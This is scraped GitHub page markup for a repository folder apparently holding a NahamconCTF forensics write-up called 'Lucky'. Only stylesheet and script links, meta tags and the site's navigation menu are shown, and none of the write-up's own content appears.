<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf_writeups/NahamconCTF/Foren/Lucky at master · SemahBA/ctf_writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="B063:0F2B:6A762E1:6D6F500:64121F62" data-pjax-transient="true"/><meta name="html-safe-nonce" content="316a306a2a78691bff227dad744cf5b137a9041485221de2e496c8cea53309d9" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMDYzOjBGMkI6NkE3NjJFMTo2RDZGNTAwOjY0MTIxRjYyIiwidmlzaXRvcl9pZCI6IjQ1NTc5NTk3NDU5MTk2NTU3NzgiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="0f05a910060f8f81937219a96847b630207ebdc2546d5d19ff8dd7c8902f658a" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:272216113" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to SemahBA/ctf_writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/2e6818afcdf5b2c9f5e267e9260b181a58a40f44caf6aad32777df935be57aa8/SemahBA/ctf_writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf_writeups/NahamconCTF/Foren/Lucky at master · SemahBA/ctf_writeups" /><meta name="twitter:description" content="Contribute to SemahBA/ctf_writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/2e6818afcdf5b2c9f5e267e9260b181a58a40f44caf6aad32777df935be57aa8/SemahBA/ctf_writeups" /><meta property="og:image:alt" content="Contribute to SemahBA/ctf_writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf_writeups/NahamconCTF/Foren/Lucky at master · SemahBA/ctf_writeups" /><meta property="og:url" content="https://github.com/SemahBA/ctf_writeups" /><meta property="og:description" content="Contribute to SemahBA/ctf_writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/SemahBA/ctf_writeups git https://github.com/SemahBA/ctf_writeups.git">
<meta name="octolytics-dimension-user_id" content="34631505" /><meta name="octolytics-dimension-user_login" content="SemahBA" /><meta name="octolytics-dimension-repository_id" content="272216113" /><meta name="octolytics-dimension-repository_nwo" content="SemahBA/ctf_writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="272216113" /><meta name="octolytics-dimension-repository_network_root_nwo" content="SemahBA/ctf_writeups" />
<link rel="canonical" href="https://github.com/SemahBA/ctf_writeups/tree/master/NahamconCTF/Foren/Lucky" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
